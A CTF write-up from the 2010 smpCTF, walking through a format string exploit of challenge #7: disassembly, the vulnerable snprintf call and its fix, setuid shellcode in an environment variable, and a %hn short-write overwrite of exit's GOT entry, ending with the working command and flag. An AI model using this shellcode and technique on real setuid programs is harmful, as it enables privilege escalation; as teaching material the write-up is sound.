I participated in the 2010 smpCTF with the Robot Mafia team, which placed 19th. The only challenge I was able to solve was #7. This was a user-controlled format string vulnerability, the likes of which I had read about, but never really exploited before.
The challenge binaries can be downloaded here.
I like to have the complete disassembly open in one window and GDB in
another. I started by getting the disassembly with objdump
.
Only the relevant part of the output is shown below.
$ objdump -M intel -d challenge7_bin challenge7_bin: file format elf32-i386 080483f4 <exit@plt>: 80483f4: ff 25 88 97 04 08 jmp DWORD PTR ds:0x8049788 80483fa: 68 40 00 00 00 push 0x40 80483ff: e9 60 ff ff ff jmp 8048364 <_init+0x30> 080484c4 <vuln>: 80484c4: 55 push ebp 80484c5: 89 e5 mov ebp,esp 80484c7: 81 ec 88 00 00 00 sub esp,0x88 80484cd: 83 ec 0c sub esp,0xc 80484d0: 68 60 86 04 08 push 0x8048660 80484d5: e8 fa fe ff ff call 80483d4 <puts@plt> 80484da: 83 c4 10 add esp,0x10 80484dd: 83 ec 04 sub esp,0x4 80484e0: 68 80 00 00 00 push 0x80 80484e5: 6a 00 push 0x0 80484e7: 8d 45 80 lea eax,[ebp-0x80] 80484ea: 50 push eax 80484eb: e8 b4 fe ff ff call 80483a4 <memset@plt> 80484f0: 83 c4 10 add esp,0x10 80484f3: 83 ec 04 sub esp,0x4 80484f6: 68 c0 97 04 08 push 0x80497c0 80484fb: 6a 7f push 0x7f 80484fd: 8d 45 80 lea eax,[ebp-0x80] 8048500: 50 push eax 8048501: e8 de fe ff ff call 80483e4 <snprintf@plt> 8048506: 83 c4 10 add esp,0x10 8048509: c9 leave 804850a: c3 ret 0804850b <main>: 804850b: 8d 4c 24 04 lea ecx,[esp+0x4] 804850f: 83 e4 f0 and esp,0xfffffff0 8048512: ff 71 fc push DWORD PTR [ecx-0x4] 8048515: 55 push ebp 8048516: 89 e5 mov ebp,esp 8048518: 51 push ecx 8048519: 83 ec 14 sub esp,0x14 804851c: 89 4d e8 mov DWORD PTR [ebp-0x18],ecx 804851f: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0 8048526: 83 ec 08 sub esp,0x8 8048529: 68 c4 84 04 08 push 0x80484c4 804852e: 6a 04 push 0x4 8048530: e8 3f fe ff ff call 8048374 <signal@plt> 8048535: 83 c4 10 add esp,0x10 8048538: 8b 45 e8 mov eax,DWORD PTR [ebp-0x18] 804853b: 83 38 01 cmp DWORD PTR [eax],0x1 804853e: 7f 1a jg 804855a <main+0x4f> 8048540: 83 ec 0c sub esp,0xc 8048543: 68 65 86 04 08 push 0x8048665 8048548: e8 87 fe ff ff call 80483d4 <puts@plt> 804854d: 83 c4 10 add esp,0x10 8048550: 83 ec 0c sub esp,0xc 8048553: 6a 00 push 0x0 8048555: e8 9a fe ff ff call 80483f4 <exit@plt> 804855a: 8b 55 e8 mov edx,DWORD PTR [ebp-0x18] 804855d: 8b 42 04 mov eax,DWORD PTR [edx+0x4] 8048560: 83 c0 04 add eax,0x4 8048563: 8b 00 mov eax,DWORD PTR [eax] 8048565: 83 ec 04 sub esp,0x4 8048568: 68 ff 03 00 00 push 0x3ff 804856d: 50 push eax 804856e: 68 c0 97 04 08 push 0x80497c0 8048573: e8 1c fe ff ff call 8048394 <strncpy@plt> 8048578: 83 c4 10 add esp,0x10 804857b: 83 ec 0c sub esp,0xc 804857e: 6a 04 push 0x4 8048580: e8 3f fe ff ff call 80483c4 <raise@plt> 8048585: 83 c4 10 add esp,0x10 8048588: 83 ec 0c sub esp,0xc 804858b: 6a 00 push 0x0 804858d: e8 62 fe ff ff call 80483f4 <exit@plt> 8048592: 90 nop 8048593: 90 nop 8048594: 90 nop 8048595: 90 nop 8048596: 90 nop 8048597: 90 nop 8048598: 90 nop 8048599: 90 nop 804859a: 90 nop 804859b: 90 nop 804859c: 90 nop 804859d: 90 nop 804859e: 90 nop 804859f: 90 nop
Looking it over, the call to snprintf
stands out as
potentially vulnerable. The code with signal
and
raise
which establishes the vuln
function as a
signal handler and then causes it to be called, is unusual but doesn't
seem to have an effect on the challenge.
I decompiled the vuln
function by hand, but it turns out
that the team managed to get a copy of the challenge source code early.
The original C is
void vuln(char *argv) { char text[128]; memset(text,0, sizeof(text)); snprintf(text, sizeof(text)-1, argv); }
The call to snprintf
is exploitable, not because of an
unchecked boundary, but because the format string is controlled by the
user. It should properly be
snprintf(text, sizeof(text), "%s", argv)
. (The
-1
on the size is not needed but doesn't affect anything.)
We can use this command to write memory with the %n
specifier, which means to write the number of bytes written so far to a
user-supplied address. We just need to supply the address and cause the
correct number of bytes to be written before %n
. Even
though the call limits the number of bytes written to 127,
snprintf
still keeps track of how many bytes would
be written for its return value, so it still works. You can verify
that you can write memory with by providing a format string like
"%08X%08X%08X%08X"
, but you can only see it in GDB because
the program doesn't normally produce any output.
I proceeded according to the instructions in Hacking: The Art of Exploitation, section 0x350 in the second edition. To get the shellcode into the memory space of the process I put it in an environment variable. I originally had trouble because my shellcode wasn't keeping the shell setuid. Evan gave me shellcode that worked.
$ export SHELLCODE=$'\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf\x2e\xce\x4a\x83\xeb\xfc\xe2\xf4\xd5\x25\x96\xd3\xed\x48\xa6\x67\xdc\xa7\x29\x22\x90\x5d\xa6\x4a\xd7\x01\xac\x23\xd1\xa7\x2d\x18\x57\x26\xce\x4a\xbf\x01\xac\x23\xd1\x01\xbd\x22\xbf\x79\x9d\xc3\x5e\xe3\x4e\x4a'
I used the getenvaddr
program from the book to find the
address of the shellcode. This will vary if you change the environment.
$ gcc -o getenvaddr getenvaddr.c $ ./getenvaddr SHELLCODE ./challenge7_bin SHELLCODE will be at 0xbffff685
Now we know we must overwrite a pointer with 0xbffff685, but what
pointer? I tried the stack pointer and the .dtors
section
as described in section 0x357, but they didn't work for me. I had luck
overwriting the pointer for the exit
function in the global
offset table, section 0x359 in the book. You can see the offset
0x08049788 in the disassembly or with the command
$ objdump -R challenge7_bin challenge7_bin: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049758 R_386_GLOB_DAT __gmon_start__ 08049768 R_386_JUMP_SLOT signal 0804976c R_386_JUMP_SLOT __gmon_start__ 08049770 R_386_JUMP_SLOT strncpy 08049774 R_386_JUMP_SLOT memset 08049778 R_386_JUMP_SLOT __libc_start_main 0804977c R_386_JUMP_SLOT raise 08049780 R_386_JUMP_SLOT puts 08049784 R_386_JUMP_SLOT snprintf 08049788 R_386_JUMP_SLOT exit
Through trial and error with GDB I built up the format string. It is
"\x8a\x97\x04\x08\x88\x97\x04\x08%49143x%4$hn%13958x%5$hn"
The first four bytes are the pointer 0x0804978a and the next four bytes
are 0x08049788. We're going to write the pointer two bytes at a time,
using the "short write" technique from section 0x356. The first write is
accomplished with %49143x%4\$hn
. The number 49143 is
0xbff7; combining that with the 8 bytes already written for the
addresses makes 0xbfff, the top half of the pointer. %4$hn
means to do a two-byte write into the memory address given by the fourth
argument to snprintf
, which is 0x0804978a. The number 4 was
found through trial and error. To get 0xbfff to increase to 0xf685 we
must write an additional 13958 bytes, and then write into the memory
address given by the fifth argument, or 0x08049788.
Now, when the program finishes and tries to call exit
, the
shellcode in the environment variable SHELLCODE
will be
called instead. Putting it all together (note the necessary backslash
escape before $
in the shell):
$ ./challenge7_bin $(perl -e 'print "\x8a\x97\x04\x08\x88\x97\x04\x08%49143x%4\$hn%13958x%5\$hn"') $ cat .smpFLAG Challenge Key: e8f804df Flag: EVERYONEz SUPER HERE HACKER FROM A TRACTOR